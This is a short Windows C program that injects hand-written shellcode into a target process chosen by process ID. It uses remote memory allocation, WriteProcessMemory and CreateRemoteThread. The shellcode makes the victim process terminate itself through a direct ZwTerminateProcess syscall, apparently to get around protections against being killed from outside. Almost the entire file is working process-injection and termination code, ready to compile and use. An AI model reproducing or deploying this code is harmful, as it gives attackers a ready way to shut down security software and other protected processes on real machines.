#include <windows.h>
#include <stdio.h>






char shellcode[]={
"\x6A\x00\x6A\xFF\xE8\x01\x00\x00\x00\xC3\xB8\x01\x01\x00\x00\xE8\x01\x00\x00\x00\xC3\x8B\xD4\x0F\x34\xC3"};
DWORD shellcode_size=0x20;
DWORD syscall_number_offset=0x0B;
/*
PUSH 0
PUSH -1
CALL TERM
RET
TERM:
MOV EAX,101h
CALL SYS
SYS:
MOV EDX,ESP
SYSENTER 
RET
*/


void KillApp(DWORD pid)
{

char code[0x20];
memcpy(code,shellcode,0x20);

HMODULE h=GetModuleHandle("NTDLL.DLL");
FARPROC p=GetProcAddress(h,"ZwTerminateProcess");
memcpy((char*)(code+0x0B),(char*)((char*)p+1),4);

	HANDLE hProc=0;
	hProc=OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_CREATE_THREAD, FALSE, pid);




 LPVOID hRemoteMem = VirtualAllocEx(hProc, NULL, 0x20, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 

    DWORD numBytesWritten;
    WriteProcessMemory(hProc, hRemoteMem, code, 0x20, &numBytesWritten);
 
   
    HANDLE hRemoteThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)hRemoteMem, 0, 0, NULL);
 
        
    
CloseHandle(hProc);
}





int main(int argc,char** argv)
{

if(argc!=2)
{
	printf("usage: %s <pid>\n\n",argv[0]);
	return 0;
}
DWORD pid=atoi(argv[1]);
KillApp(pid);


return 0;
}